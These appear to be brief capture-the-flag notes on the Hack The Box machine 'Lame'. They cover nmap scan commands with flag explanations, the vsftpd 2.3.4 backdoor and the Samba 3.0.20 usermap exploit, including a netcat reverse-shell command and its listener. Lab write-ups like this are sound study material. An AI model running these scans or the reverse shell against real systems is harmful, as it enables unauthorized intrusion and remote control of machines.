Lame

Port Scanning

sudo nmap -vv -n -e utun6 -sS -sV --top-ports 1000 $ipaddr
sudo nmap -vv -sC -sV -T4 -A $ipaddr

• -vv: verbose
• -n: no DNS resolution
• -e: choose the correct network interface
• -sS: TCP SYN scan
• -sC: script scan
• -sV: service version detection
• --top-ports: specify top N ports
• -T4: timing template (higher is faster)
• -A: aggressive scan options. Enable OS detection, version detection, script scanning, and traceroute

Exploits

• vsftpd 2.3.4 - Backdoor Command Execution
  • This exploit successes, but external connections cannot be established due to some firewall configurations
• Samba 3.0.20 usermap
  • This exploit can run arbitrary commands that are specified in the SMB username
  • We can utilize this exploit to establish a reverse shell, such as nc -e /bin/sh $myip $myport
  • On my local machine, running nc -nlvp $myport can interact with the remote machine

Reference

• HTB: Lame | 0xdf hacks stuff